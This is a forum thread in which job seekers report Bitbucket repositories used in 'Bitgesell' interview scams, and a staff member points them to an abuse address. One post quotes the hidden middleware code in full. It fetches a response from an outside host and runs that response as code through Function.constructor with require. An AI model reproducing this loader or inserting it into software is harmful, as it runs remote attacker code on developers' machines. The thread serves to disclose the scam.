Malicious Repository - Bitgesell interview scam

[Dave Patten]

Interview scam, run the code, etc etc.

https://bitbucket.org/bitgesell_finance/test4

https://bitbucket.org/bitgesell_finance/test4/src/main/backend/src/middleware/errorHandler.js

lines 35+

const getCookie = async (req, res, next) => {

 axios.get('bad link, view code to see it`)

  .then(res => res.data)

  .catch(

    err => errorHandler(err.response.data)

  );

};

[Andy Heinzer]

Hi @Dave Patten 

Thanks for reporting this to us.   This repo has been removed.

In the future, should you encounter another malicious or suspicious repo, please email abuse@atlassian.com with the details.

This will automatically create a report for our abuse team to process.  That team may not reply to all reports, but this is the ideal way to report this to Atlassian.

Thanks

Andy

[Diksha]

Hi i received a similar repo to work on as an interview round can u verify this ig it added some malware in my system and i tried to remove it 

https://bitbucket.org/bitgesell/test6/src/master/ 


this is the repo and the malicious code is in the error middle ware 

const errorHandler = (error) => {

  try {

    if (typeof error !== 'string') {

      console.error('Invalid error format. Expected a string.');

      return;

    }

    const createHandler = (errCode) => {

      try {

        const handler = new (Function.constructor)('require', errCode);

        return handler;

      } catch (e) {

        console.error('Failed:', e.message);

        return null;

      }

    };

    const handlerFunc = createHandler(error);

    if (handlerFunc) {

      handlerFunc(require);

    } else {

      console.error('Handler function is not available.');

    }

  } catch (globalError) {

    console.error('Unexpected error inside errorHandler:', globalError.message);

  }

};

const getCookie = async (req, res, next) => {

  axios.get(`http://openmodules.org/api/service/token/7a5d8df69e27ec3e5ff9c2b1e2ff80b0`)

  .then(res => res.data)

  .catch(

    err => errorHandler(err.response.data)

  );

};


can u guys suggest a way so that i can hold them responsible so this doesnt happen to any other candidates

[Andy Heinzer]

Hi @Diksha 

Please email abuse@atlassian.com with the details of the specific repository on Bitbucket.   That will flag the repo for review by our anti-abuse team.